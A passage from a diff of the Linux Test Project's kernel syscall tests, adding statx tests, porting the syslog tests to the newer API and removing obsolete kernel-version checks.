tst_device->dev, 0, STATX_DIOALIGN, &buf), + "statx(AT_FDCWD, %s, 0, STATX_DIOALIGN, &buf)", tst_device->dev); + + if (!(buf.stx_mask & STATX_DIOALIGN)) { + tst_res(TCONF, "Filesystem does not support STATX_DIOALIGN"); + return; + } + +#ifdef HAVE_STRUCT_STATX_STX_DIO_MEM_ALIGN + /* + * This test is tightly coupled to the kernel's current DIO restrictions + * on block devices. The general rule of DIO needing to be aligned to the + * block device's logical block size was relaxed to allow user buffers + * (but not file offsets) aligned to the DMA alignment instead. See v6.0 + * commit bf8d08532bc1 ("iomap: add support for dma aligned direct-io") and + * they are subject to further change in the future. + * Also can see commit 2d985f8c6b9 ("vfs: support STATX_DIOALIGN on block devices). + */ + TST_ASSERT_ULONG(sys_bdev_dma_path, buf.stx_dio_mem_align - 1); + TST_ASSERT_ULONG(sys_bdev_logical_path, buf.stx_dio_offset_align); +#else + tst_res(TCONF, "glibc statx struct miss stx_dio_mem_align field"); +#endif +} + +static void setup(void) +{ + char full_name[256]; + char *dev_name; + + strcpy(full_name, tst_device->dev); + dev_name = SAFE_BASENAME(full_name); + sprintf(sys_bdev_logical_path, "/sys/block/%s/queue/logical_block_size", dev_name); + + /* + * Since /sys/block/%s/queue doesn't exist for partition, we need to + * use a while to search block device instead of partition. + */ + while (access(sys_bdev_logical_path, F_OK) != 0) { + dev_name[strlen(dev_name)-1] = '\0'; + sprintf(sys_bdev_logical_path, "/sys/block/%s/queue/logical_block_size", dev_name); + } + + sprintf(sys_bdev_dma_path, "/sys/block/%s/queue/dma_alignment", dev_name); + if (access(sys_bdev_dma_path, F_OK) != 0) + tst_brk(TCONF, "dma_alignment sysfs file doesn't exist"); +} + +static struct tst_test test = { + .test_all = verify_statx, + .setup = setup, + .needs_device = 1, + .needs_root = 1, +}; diff --git a/testcases/kernel/syscalls/statx/statx12.c b/testcases/kernel/syscalls/statx/statx12.c new file mode 100644 index 00000000..432f1cb7 --- /dev/null +++ b/testcases/kernel/syscalls/statx/statx12.c @@ -0,0 +1,95 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2023 FUJITSU LIMITED. All rights reserved. + * Author: Yang Xu + */ + +/*\ + * [Description] + * + * It is a basic test for STATX_ATTR_MOUNT_ROOT flag. + * + * This flag indicates whether the path or fd refers to the root of a mount + * or not. + * + * Minimum Linux version required is v5.8. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include "tst_test.h" +#include "lapi/stat.h" + +#define MNTPOINT "mntpoint" +#define TESTFILE MNTPOINT"/testfile" + +static int dir_fd = -1, file_fd = -1; + +static struct tcase { + const char *path; + bool mnt_root; + int *fd; +} tcases[] = { + {MNTPOINT, 1, &dir_fd}, + {TESTFILE, 0, &file_fd} +}; + +static void verify_statx(unsigned int n) +{ + struct tcase *tc = &tcases[n/2]; + struct statx buf; + bool flag = n % 2; + + if (flag) { + tst_res(TINFO, "Testing %s with STATX_ATTR_MOUNT_ROOT by fd", + tc->path); + TST_EXP_PASS_SILENT(statx(*tc->fd, "", AT_EMPTY_PATH, 0, &buf)); + } else { + tst_res(TINFO, "Testing %s with STATX_ATTR_MOUNT_ROOT by path", + tc->path); + TST_EXP_PASS_SILENT(statx(AT_FDCWD, tc->path, 0, 0, &buf)); + } + + if (!(buf.stx_attributes_mask & STATX_ATTR_MOUNT_ROOT)) { + tst_res(TCONF, "Filesystem does not support STATX_ATTR_MOUNT_ROOT"); + return; + } + + if (buf.stx_attributes & STATX_ATTR_MOUNT_ROOT) { + tst_res(tc->mnt_root ? TPASS : TFAIL, + "STATX_ATTR_MOUNT_ROOT flag is set"); + } else { + tst_res(tc->mnt_root ? TFAIL : TPASS, + "STATX_ATTR_MOUNT_ROOT flag is not set"); + } +} + +static void setup(void) +{ + SAFE_CREAT(TESTFILE, 0755); + dir_fd = SAFE_OPEN(MNTPOINT, O_DIRECTORY); + file_fd = SAFE_OPEN(TESTFILE, O_RDWR); +} + +static void cleanup(void) +{ + if (dir_fd > -1) + SAFE_CLOSE(dir_fd); + + if (file_fd > -1) + SAFE_CLOSE(file_fd); +} + +static struct tst_test test = { + .test = verify_statx, + .setup = setup, + .cleanup = cleanup, + .mntpoint = MNTPOINT, + .mount_device = 1, + .all_filesystems = 1, + .needs_root = 1, + .tcnt = 2 * ARRAY_SIZE(tcases) +}; diff --git a/testcases/kernel/syscalls/switch/endian_switch01.c b/testcases/kernel/syscalls/switch/endian_switch01.c index f357ff54..fac9e238 100755 --- a/testcases/kernel/syscalls/switch/endian_switch01.c +++ b/testcases/kernel/syscalls/switch/endian_switch01.c @@ -2,7 +2,7 @@ /* * Copyright (c) International Business Machines Corp., 2008 * Copyright (c) Paul Mackerras, IBM Corp., 2008 - * Copyright (c) 2018 Linux Test Project + * Copyright (c) 2018-2023 Linux Test Project */ /* @@ -17,14 +17,17 @@ #include #include #include + #include "tst_test.h" #if defined(__powerpc64__) || defined(__powerpc__) + # ifndef PPC_FEATURE_TRUE_LE -# define PPC_FEATURE_TRUE_LE 0x00000002 +# define PPC_FEATURE_TRUE_LE 0x00000002 # endif -# define TST_NO_DEFAULT_MAIN +# ifdef HAVE_GETAUXVAL +# include /* * Make minimal call to 0x1ebe. If we get ENOSYS then syscall is not @@ -42,6 +45,9 @@ void check_le_switch_supported(void) exit(errno); } + if (!(getauxval(AT_HWCAP) & PPC_FEATURE_TRUE_LE)) + tst_brk(TCONF, "Processor does not support little-endian mode"); + SAFE_WAIT(&status); if (WIFSIGNALED(status)) { int sig = WTERMSIG(status); @@ -93,22 +99,12 @@ static void endian_test(void) static struct tst_test test = { .test_all = endian_test, - .min_kver = "2.6.26", .forks_child = 1, }; -int main4(int argc, char **argv, LTP_ATTRIBUTE_UNUSED char **envp, - unsigned long *auxv) -{ - for (; *auxv != AT_NULL && *auxv != AT_HWCAP; auxv += 2) - ; - - if (!(auxv[0] == AT_HWCAP && (auxv[1] & PPC_FEATURE_TRUE_LE))) - tst_brk(TCONF, "Processor does not support little-endian mode"); - - tst_run_tcases(argc, argv, &test); - return 0; -} +# else +TST_TEST_TCONF("Toolchain does not have "); +# endif /* HAVE_GETAUXVAL */ #else /* defined (__powerpc64__) || (__powerpc__) */ TST_TEST_TCONF("This system does not support running of switch() syscall"); diff --git a/testcases/kernel/syscalls/symlink/symlink01.c b/testcases/kernel/syscalls/symlink/symlink01.c index eba64f9b..8cf0c8f1 100755 --- a/testcases/kernel/syscalls/symlink/symlink01.c +++ b/testcases/kernel/syscalls/symlink/symlink01.c @@ -658,10 +658,10 @@ int creat_symlink(char *path1, char *path2, char *_path3) path1, errno, strerror(errno)); return 0; } else { - sprintf(Buf, "symlink(%s, %s) was succesful.\n", path1, path2); + sprintf(Buf, "symlink(%s, %s) was successful.\n", path1, path2); strcat(Buffer, Buf); #if DEBUG - tst_resm(TPASS, "symlink(%s, %s) was succesful.", path1, path2); + tst_resm(TPASS, "symlink(%s, %s) was successful.", path1, path2); #endif } return 1; @@ -685,10 +685,10 @@ int creat_object(char *path1, char *_path2, char *_path3) path1, errno, strerror(errno)); return 0; } else { - sprintf(Buf, "creat(%s, %#o) was succesful.\n", path1, MODE); + sprintf(Buf, "creat(%s, %#o) was successful.\n", path1, MODE); strcat(Buffer, Buf); #if DEBUG - tst_resm(TPASS, "creat(%s, %#o) was succesful.", path1, MODE); + tst_resm(TPASS, "creat(%s, %#o) was successful.", path1, MODE); #endif } if (close(fd) == -1) { diff --git a/testcases/kernel/syscalls/symlinkat/symlinkat01.c b/testcases/kernel/syscalls/symlinkat/symlinkat01.c index 8c9e148e..d510872f 100755 --- a/testcases/kernel/syscalls/symlinkat/symlinkat01.c +++ b/testcases/kernel/syscalls/symlinkat/symlinkat01.c @@ -126,7 +126,7 @@ int TST_TOTAL = sizeof(test_desc) / sizeof(*test_desc); static int mysymlinkat(const char *oldfilename, int newdirfd, const char *newfilename) { - return ltp_syscall(__NR_symlinkat, oldfilename, newdirfd, newfilename); + return tst_syscall(__NR_symlinkat, oldfilename, newdirfd, newfilename); } int main(int ac, char **av) @@ -134,13 +134,6 @@ int main(int ac, char **av) int lc; int i; - /* Disable test if the version of the kernel is less than 2.6.16 */ - if ((tst_kvercmp(2, 6, 16)) < 0) { - tst_resm(TWARN, "This test can only run on kernels that are "); - tst_resm(TWARN, "2.6.16 and higher"); - exit(0); - } - tst_parse_opts(ac, av, NULL, NULL); setup(); @@ -183,7 +176,8 @@ static void mysymlinkat_test(struct test_struct *desc) int tnum = rand(), vnum = ~tnum; fd = SAFE_OPEN(cleanup, desc->referencefn1, O_RDWR); - SAFE_WRITE(cleanup, 1, fd, &tnum, sizeof(tnum)); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, fd, &tnum, + sizeof(tnum)); SAFE_CLOSE(cleanup, fd); fd = SAFE_OPEN(cleanup, desc->referencefn2, O_RDONLY); diff --git a/testcases/kernel/syscalls/sync_file_range/Makefile b/testcases/kernel/syscalls/sync_file_range/Makefile index 044619fb..8a916d0f 100755 --- a/testcases/kernel/syscalls/sync_file_range/Makefile +++ b/testcases/kernel/syscalls/sync_file_range/Makefile @@ -6,3 +6,5 @@ top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk include $(top_srcdir)/include/mk/generic_leaf_target.mk + +CFLAGS += -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE diff --git a/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c b/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c index 187ef607..47188aa4 100755 --- a/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c +++ b/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c @@ -44,8 +44,8 @@ static int bfd = -1; struct test_case { int *fd; - off64_t offset; - off64_t nbytes; + off_t offset; + off_t nbytes; unsigned int flags; int error; } tcases[] = { diff --git a/testcases/kernel/syscalls/sync_file_range/sync_file_range02.c b/testcases/kernel/syscalls/sync_file_range/sync_file_range02.c index 5da751c7..28a8156c 100755 --- a/testcases/kernel/syscalls/sync_file_range/sync_file_range02.c +++ b/testcases/kernel/syscalls/sync_file_range/sync_file_range02.c @@ -31,10 +31,10 @@ struct testcase { char *fname; - off64_t sync_off; - off64_t sync_size; + off_t sync_off; + off_t sync_size; size_t exp_sync_size; - off64_t write_off; + off_t write_off; size_t write_size_mb; const char *desc; }; diff --git a/testcases/kernel/syscalls/syscall/syscall01.c b/testcases/kernel/syscalls/syscall/syscall01.c index 167e6ee8..76e79322 100755 --- a/testcases/kernel/syscalls/syscall/syscall01.c +++ b/testcases/kernel/syscalls/syscall/syscall01.c @@ -37,7 +37,11 @@ static void verify_getuid(void) uid_t u1, u2; u1 = getuid(); +#ifdef SYS_getuid32 + u2 = syscall(SYS_getuid32); +#else u2 = syscall(SYS_getuid); +#endif if (u1 == u2) { tst_res(TPASS, "getuid() == syscall(SYS_getuid)"); @@ -52,7 +56,11 @@ static void verify_getgid(void) gid_t g1, g2; g1 = getgid(); +#ifdef SYS_getgid32 + g2 = syscall(SYS_getgid32); +#else g2 = syscall(SYS_getgid); +#endif if (g1 == g2) { tst_res(TPASS, "getgid() == syscall(SYS_getgid)"); diff --git a/testcases/kernel/syscalls/sysctl/sysctl03.c b/testcases/kernel/syscalls/sysctl/sysctl03.c index ea41f9d0..73f98f0b 100755 --- a/testcases/kernel/syscalls/sysctl/sysctl03.c +++ b/testcases/kernel/syscalls/sysctl/sysctl03.c @@ -68,14 +68,10 @@ static void verify_sysctl(void) static void setup(void) { - if ((tst_kvercmp(2, 6, 32)) <= 0) { - exp_eno = EPERM; - } else { - /* Look above this warning. */ - tst_res(TINFO, - "this test's results are based on potentially undocumented behavior in the kernel. read the NOTE in the source file for more details"); - exp_eno = EACCES; - } + /* Look above this warning. */ + tst_res(TINFO, + "this test's results are based on potentially undocumented behavior in the kernel. read the NOTE in the source file for more details"); + exp_eno = EACCES; } static void do_test(void) diff --git a/testcases/kernel/syscalls/sysinfo/sysinfo03.c b/testcases/kernel/syscalls/sysinfo/sysinfo03.c index af7cb642..6b8f0aef 100755 --- a/testcases/kernel/syscalls/sysinfo/sysinfo03.c +++ b/testcases/kernel/syscalls/sysinfo/sysinfo03.c @@ -14,9 +14,9 @@ */ #include -#include "lapi/namespaces_constants.h" #include "lapi/posix_clocks.h" #include "tst_test.h" +#include "lapi/sched.h" static int offsets[] = { 10, diff --git a/testcases/kernel/syscalls/syslog/Makefile b/testcases/kernel/syscalls/syslog/Makefile index f6b1e6a0..044619fb 100755 --- a/testcases/kernel/syscalls/syslog/Makefile +++ b/testcases/kernel/syscalls/syslog/Makefile @@ -5,7 +5,4 @@ top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk -# Not all of the syslog* files are bourne shell scripts. -INSTALL_TARGETS := syslog0* syslog10 syslog-lib.sh - include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/syscalls/syslog/syslog11.c b/testcases/kernel/syscalls/syslog/syslog11.c index b9540ef4..733da5f9 100755 --- a/testcases/kernel/syscalls/syslog/syslog11.c +++ b/testcases/kernel/syscalls/syslog/syslog11.c @@ -1,212 +1,66 @@ +// SPDX-License-Identifier: GPL-2.0-only /* * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * + * Author: Madhu T L */ -/********************************************************** - * - * TEST IDENTIFIER : syslog11 - * - * EXECUTED BY : root / superuser - * - * TEST TITLE : Basic tests for syslog(2) - * - * TEST CASE TOTAL : 11 - * - * AUTHOR : Madhu T L - * - * SIGNALS - * Uses SIGUSR1 to pause before test if option set. - * (See the parse_opts(3) man page). - * - * DESCRIPTION - * Verify that, syslog(2) is successful for type ranging from 1 to 8 - * - * Setup: - * Setup signal handling. - * Test caller is superuser - * Check existence of user nobody - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return value, if not successful, - * Issue FAIL message - * Otherwise, - * Issue PASS message - * - * Cleanup: - * Print errno log and/or timing stats if options given - * - * USAGE: - * syslog11 [-c n] [-e] [-f] [-h] [-i n] [-I x] [-p] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -f : Turn off functional testing - * -h : Show help screen - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -p : Pause for SIGUSR1 before starting - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. + +/* + * [Description] * - ****************************************************************/ + * Verify that, syslog(2) is successful for type ranging from 1 to 8 + */ #include -#include -#include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" -#define UNEXP_RET_VAL -1 +#include "tst_test.h" +#include "lapi/syscalls.h" +#include "tst_safe_macros.h" -struct test_case_t { /* test case structure */ - int type; /* 1st arg. */ - char *buf; /* 2nd arg. */ - int len; /* 3rd arg. */ - int (*setup) (void); /* Individual setup routine */ - void (*cleanup) (void); /* Individual cleanup routine */ - char *desc; /* Test description */ +struct tcase { + int type; + char *buf; + int len; + char *desc; }; -char *TCID = "syslog11"; -static int testno; static char buf; -static struct passwd *ltpuser; - -static void setup(void); -static void cleanup(void); -static int setup1(void); -static void cleanup1(void); -#define syslog(arg1, arg2, arg3) syscall(__NR_syslog, arg1, arg2, arg3) +#define syslog(arg1, arg2, arg3) tst_syscall(__NR_syslog, arg1, arg2, arg3) -static struct test_case_t tdat[] = { +static struct tcase tcases[] = { /* Type 0 and 1 are currently not implemented, always returns success */ - {0, &buf, 0, NULL, NULL, "type 0/Close the log"}, - {1, &buf, 0, NULL, NULL, "type 1/Open the log"}, - {2, &buf, 0, NULL, NULL, "type 2/Read from the log"}, - {3, &buf, 0, NULL, NULL, "type 3/Read ring buffer"}, - {3, &buf, 0, setup1, cleanup1, "type 3/Read ring buffer for non-root " - "user"}, - /* Next two lines will clear dmesg. Uncomment if that is okay. -Robbie Williamson */ - /* { 4, &buf, 0, NULL, NULL, "type 4/Read and clear ring buffer" }, */ - /* { 5, &buf, 0, NULL, NULL, "type 5/Clear ring buffer" }, */ - - {8, NULL, 1, NULL, NULL, "type 8/Set log level to 1"}, - {8, NULL, 7, NULL, NULL, "type 8/Set log level to 7(default)"}, - {6, NULL, 0, NULL, NULL, "type 6/Disable printk's to console"}, - {7, NULL, 0, NULL, NULL, "type 7/Enable printk's to console"}, + {0, &buf, 0, "type 0/Close the log"}, + {1, &buf, 0, "type 1/Open the log"}, + {2, &buf, 0, "type 2/Read from the log"}, + {3, &buf, 0, "type 3/Read ring buffer"}, + /* + * Next two lines will clear dmesg. + * Uncomment if that is okay. -Robbie Williamson + */ + /* + * { 4, &buf, 0, "type 4/Read and clear ring buffer" }, + * { 5, &buf, 0, "type 5/Clear ring buffer" }, + */ + {8, NULL, 1, "type 8/Set log level to 1"}, + {8, NULL, 7, "type 8/Set log level to 7(default)"}, + {6, NULL, 0, "type 6/Disable printk's to console"}, + {7, NULL, 0, "type 7/Enable printk's to console"}, }; -int TST_TOTAL = sizeof(tdat) / sizeof(tdat[0]); - -int main(int argc, char **argv) +static void run(unsigned int n) { - int lc; - - tst_parse_opts(argc, argv, NULL, NULL); - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - /* reset tst_count in case we are looping */ - tst_count = 0; - - for (testno = 0; testno < TST_TOTAL; ++testno) { + struct tcase *tc = &tcases[n]; - if (tdat[testno].setup && tdat[testno].setup()) { - /* Setup failed, skip this testcase */ - continue; - } - - TEST(syslog(tdat[testno].type, tdat[testno].buf, - tdat[testno].len)); - - if (TEST_RETURN == UNEXP_RET_VAL) { - if (TEST_ERRNO == EPERM && geteuid() != 0) { - tst_resm(TPASS, - "syslog() passed for %s (non-root EPERM is OK)", - tdat[testno].desc); - } else { - tst_resm(TFAIL, - "syslog() failed for %s: errno " - "%d (%s)", tdat[testno].desc, - TEST_ERRNO, strerror(errno)); - } - } else { - tst_resm(TPASS, "syslog() successful for %s", - tdat[testno].desc); - } - - if (tdat[testno].cleanup) { - tdat[testno].cleanup(); - } - } - } - cleanup(); - - tst_exit(); -} - -int setup1(void) -{ - /* Change effective user id to nodody */ - if (seteuid(ltpuser->pw_uid) == -1) { - tst_resm(TBROK, "seteuid failed to set the effective" - " uid to %d", ltpuser->pw_uid); - return 1; - } - return 0; + TST_EXP_PASS(syslog(tc->type, tc->buf, tc->len), + "syslog() with %s", tc->desc); } -void cleanup1(void) -{ - /* Change effective user id to root */ - SAFE_SETEUID(NULL, 0); -} - -/* - * setup() - * performs all ONE TIME setup for this test - */ -void setup(void) -{ - tst_require_root(); - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - /* Check for nobody_uid user id */ - if ((ltpuser = getpwnam("nobody")) == NULL) { - tst_brkm(TBROK, NULL, "nobody user id doesn't exist"); - } - - /* Pause if that option was specified - * TEST_PAUSE contains the code to fork the test with the -c option. - */ - TEST_PAUSE; -} - -/* - * cleanup() - * performs all ONE TIME cleanup for this test at - * completion or premature exit - */ -void cleanup(void) -{ - -} +static struct tst_test test = { + .test = run, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/kernel/printk", NULL, TST_SR_TBROK}, + {} + }, + .needs_root = 1, + .tcnt = ARRAY_SIZE(tcases), +}; diff --git a/testcases/kernel/syscalls/syslog/syslog12.c b/testcases/kernel/syscalls/syslog/syslog12.c index ac28d43c..e8b39a11 100755 --- a/testcases/kernel/syscalls/syslog/syslog12.c +++ b/testcases/kernel/syscalls/syslog/syslog12.c @@ -1,233 +1,84 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) 2022 Petr Vorel * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * + * Author: Madhu T L */ -/********************************************************** - * - * TEST IDENTIFIER : syslog12 - * - * EXECUTED BY : root / superuser - * - * TEST TITLE : Checking error conditions for syslog(2) - * - * TEST CASE TOTAL : 7 - * - * AUTHOR : Madhu T L - * - * SIGNALS - * Uses SIGUSR1 to pause before test if option set. - * (See the parse_opts(3) man page). - * - * DESCRIPTION - * Verify that, - * 1. syslog(2) fails with EINVAL for invalid type/command - * 2. syslog(2) fails with EFAULT for buffer outside program's accessible - * address space. - * 3. syslog(2) fails with EINVAL for NULL buffer argument. - * 4. syslog(2) fails with EINVAL for length arg. set to negative value. - * 5. syslog(2) fails with EPERM for non-root user. - * 6. syslog(2) fails with EINVAL for console level less than 0. - * 7. syslog(2) fails with EINVAL for console level greater than 8. - * - * Setup: - * Setup signal handling. - * Test caller is superuser - * Check existence of user nobody - * Set expected errnos - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return value and errno, if matching, - * Issue PASS message - * Otherwise, - * Issue FAIL message - * - * Cleanup: - * Print errno log and/or timing stats if options given + +/*\ + * [Description] * - * USAGE: - * syslog12 [-c n] [-e] [-f] [-h] [-i n] [-I x] [-p] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -f : Turn off functional testing - * -h : Show help screen - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -p : Pause for SIGUSR1 before starting - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. + * Verify that syslog(2) system call fails with appropriate error number: * - ****************************************************************/ + * 1. EINVAL -- invalid type/command + * 2. EFAULT -- buffer outside program's accessible address space + * 3. EINVAL -- NULL buffer argument + * 4. EINVAL -- length argument set to negative value + * 5. EINVAL -- console level less than 0 + * 6. EINVAL -- console level greater than 8 + * 7. EPERM -- non-root user + */ #include #include -#include -#include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" - -#define EXP_RET_VAL -1 -struct test_case_t { /* test case structure */ - int type; /* 1st arg */ - char *buf; /* 2nd arg */ - int len; /* 3rd arg */ - int exp_errno; /* Expected errno */ - int (*setup) (void); /* Individual setup routine */ - void (*cleanup) (void); /* Individual cleanup routine */ - char *desc; /* Test description */ -}; +#include "tst_test.h" +#include "lapi/syscalls.h" +#include "tst_safe_macros.h" -char *TCID = "syslog12"; -static int testno; +#define syslog(arg1, arg2, arg3) tst_syscall(__NR_syslog, arg1, arg2, arg3) static char buf; static struct passwd *ltpuser; -static void setup(void); -static void cleanup(void); -static int setup1(void); -static void cleanup1(void); - -#define syslog(arg1, arg2, arg3) syscall(__NR_syslog, arg1, arg2, arg3) - -static struct test_case_t tdat[] = { - {100, &buf, 0, EINVAL, NULL, NULL, "invalid type/command"}, - {2, NULL, 0, EINVAL, NULL, NULL, "NULL buffer argument"}, - {3, &buf, -1, EINVAL, NULL, NULL, "negative length argument"}, - {2, &buf, 0, EPERM, setup1, cleanup1, "non-root user"}, - {8, &buf, -1, EINVAL, NULL, NULL, "console level less than 0"}, - {8, &buf, 9, EINVAL, NULL, NULL, "console level greater than 8"}, -}; - -int TST_TOTAL = sizeof(tdat) / sizeof(tdat[0]); - -void timeout(int sig) +static void setup(void) { - tst_resm(TWARN, "syslog() timeout after 1s" - " for %s", tdat[testno].desc); + ltpuser = SAFE_GETPWNAM("nobody"); } -int main(int argc, char **argv) +static void setup_nonroot(void) { - int lc; - struct sigaction sa; - int ret; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - memset(&sa, 0, sizeof(struct sigaction)); - sa.sa_handler = timeout; - sa.sa_flags = 0; - sigaction(SIGALRM, &sa, NULL); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - /* reset tst_count in case we are looping */ - tst_count = 0; - - for (testno = 0; testno < TST_TOTAL; ++testno) { - - if (tdat[testno].setup && tdat[testno].setup()) { - /* Setup failed, skip this testcase */ - continue; - } - - alarm(1); - - TEST(syslog(tdat[testno].type, tdat[testno].buf, - tdat[testno].len)); - - alarm(0); - /* syslog returns an int, so we need to turn the long - * TEST_RETURN into an int to test with */ - ret = TEST_RETURN; - if ((ret == EXP_RET_VAL) && - (TEST_ERRNO == tdat[testno].exp_errno)) { - tst_resm(TPASS, "syslog() failed as expected" - " for %s : errno %d", - tdat[testno].desc, TEST_ERRNO); - } else { - tst_resm(TFAIL, "syslog() returned " - "unexpected results for %s ; returned" - " %d (expected %d), errno %d (expected" - " %d)", tdat[testno].desc, - ret, EXP_RET_VAL, TEST_ERRNO, - tdat[testno].exp_errno); - } - - if (tdat[testno].cleanup) { - tdat[testno].cleanup(); - } - } - } - cleanup(); - - tst_exit(); + SAFE_SETEGID(ltpuser->pw_gid); + SAFE_SETEUID(ltpuser->pw_uid); } -int setup1(void) +static void cleanup_nonroot(void) { - /* Change effective user id to nodody */ - if (seteuid(ltpuser->pw_uid) == -1) { - tst_resm(TBROK, "seteuid failed to set the effective" - " uid to %d", ltpuser->pw_uid); - return 1; - } - return 0; + SAFE_SETEUID(0); } -void cleanup1(void) -{ - /* Change effective user id to root */ - SAFE_SETEUID(NULL, 0); -} +static struct tcase { + int type; + char *buf; + int len; + int exp_errno; + char *desc; +} tcases[] = { + {100, &buf, 0, EINVAL, "invalid type/command"}, + {2, NULL, 0, EINVAL, "NULL buffer argument"}, + {3, &buf, -1, EINVAL, "negative length argument"}, + {8, &buf, -1, EINVAL, "console level less than 0"}, + {8, &buf, 9, EINVAL, "console level greater than 8"}, + {2, &buf, 0, EPERM, "non-root user"}, +}; -/* - * setup() - * performs all ONE TIME setup for this test - */ -void setup(void) +static void run(unsigned int n) { - tst_require_root(); + struct tcase *tc = &tcases[n]; - tst_sig(NOFORK, DEF_HANDLER, cleanup); + if (n == ARRAY_SIZE(tcases)-1) + setup_nonroot(); - /* Check for nobody_uid user id */ - if ((ltpuser = getpwnam("nobody")) == NULL) { - tst_brkm(TBROK, NULL, "nobody user id doesn't exist"); - } + TST_EXP_FAIL(syslog(tc->type, tc->buf, tc->len), tc->exp_errno, + "syslog() with %s", tc->desc); - /* Pause if that option was specified - * TEST_PAUSE contains the code to fork the test with the -c option. - */ - TEST_PAUSE; + if (n == ARRAY_SIZE(tcases)-1) + cleanup_nonroot(); } -/* - * cleanup() - * performs all ONE TIME cleanup for this test at - * completion or premature exit - */ -void cleanup(void) -{ - -} +static struct tst_test test = { + .test = run, + .setup = setup, + .needs_root = 1, + .tcnt = ARRAY_SIZE(tcases), +}; diff --git a/testcases/kernel/syscalls/tee/tee01.c b/testcases/kernel/syscalls/tee/tee01.c index cee6ed7d..d1489d04 100755 --- a/testcases/kernel/syscalls/tee/tee01.c +++ b/testcases/kernel/syscalls/tee/tee01.c @@ -84,17 +84,11 @@ static void setup(void) { int i; - if (tst_fs_type(".") == TST_NFS_MAGIC) { - if ((tst_kvercmp(2, 6, 32)) < 0) - tst_brk(TCONF, "Cannot do tee on a file" - " on NFS filesystem before 2.6.32"); - } - for (i = 0; i < TEST_BLOCK_SIZE; i++) buffer[i] = i & 0xff; fd_in = SAFE_OPEN(TESTFILE1, O_WRONLY | O_CREAT | O_TRUNC, 0777); - SAFE_WRITE(1, fd_in, buffer, TEST_BLOCK_SIZE); + SAFE_WRITE(SAFE_WRITE_ALL, fd_in, buffer, TEST_BLOCK_SIZE); SAFE_CLOSE(fd_in); } @@ -112,5 +106,4 @@ static struct tst_test test = { .cleanup = cleanup, .test_all = tee_test, .needs_tmpdir = 1, - .min_kver = "2.6.17", }; diff --git a/testcases/kernel/syscalls/tee/tee02.c b/testcases/kernel/syscalls/tee/tee02.c index 899e93e5..5ebb3c3f 100755 --- a/testcases/kernel/syscalls/tee/tee02.c +++ b/testcases/kernel/syscalls/tee/tee02.c @@ -46,7 +46,7 @@ static void setup(void) { fd = SAFE_OPEN(TEST_FILE, O_RDWR | O_CREAT, 0644); SAFE_PIPE(pipes); - SAFE_WRITE(1, pipes[1], STR, sizeof(STR) - 1); + SAFE_WRITE(SAFE_WRITE_ALL, pipes[1], STR, sizeof(STR) - 1); } static void tee_verify(unsigned int n) @@ -90,5 +90,4 @@ static struct tst_test test = { .test = tee_verify, .tcnt = ARRAY_SIZE(tcases), .needs_tmpdir = 1, - .min_kver = "2.6.17", }; diff --git a/testcases/kernel/syscalls/tgkill/tgkill03.c b/testcases/kernel/syscalls/tgkill/tgkill03.c index 0002f327..e46e95f7 100755 --- a/testcases/kernel/syscalls/tgkill/tgkill03.c +++ b/testcases/kernel/syscalls/tgkill/tgkill03.c @@ -117,5 +117,4 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test = run, - .timeout = 20, }; diff --git a/testcases/kernel/syscalls/timer_create/timer_create01.c b/testcases/kernel/syscalls/timer_create/timer_create01.c index 1cb9a9fd..d56e68c2 100755 --- a/testcases/kernel/syscalls/timer_create/timer_create01.c +++ b/testcases/kernel/syscalls/timer_create/timer_create01.c @@ -59,16 +59,6 @@ static void run(unsigned int n) evp.sigev_signo = nt->sigev_signo; evp.sigev_notify = nt->sigev_notify; - if (clock == CLOCK_PROCESS_CPUTIME_ID || - clock == CLOCK_THREAD_CPUTIME_ID) { - /* (PROCESS_CPUTIME_ID & - * THREAD_CPUTIME_ID) - * is not supported on kernel versions - * lower than 2.6.12 - 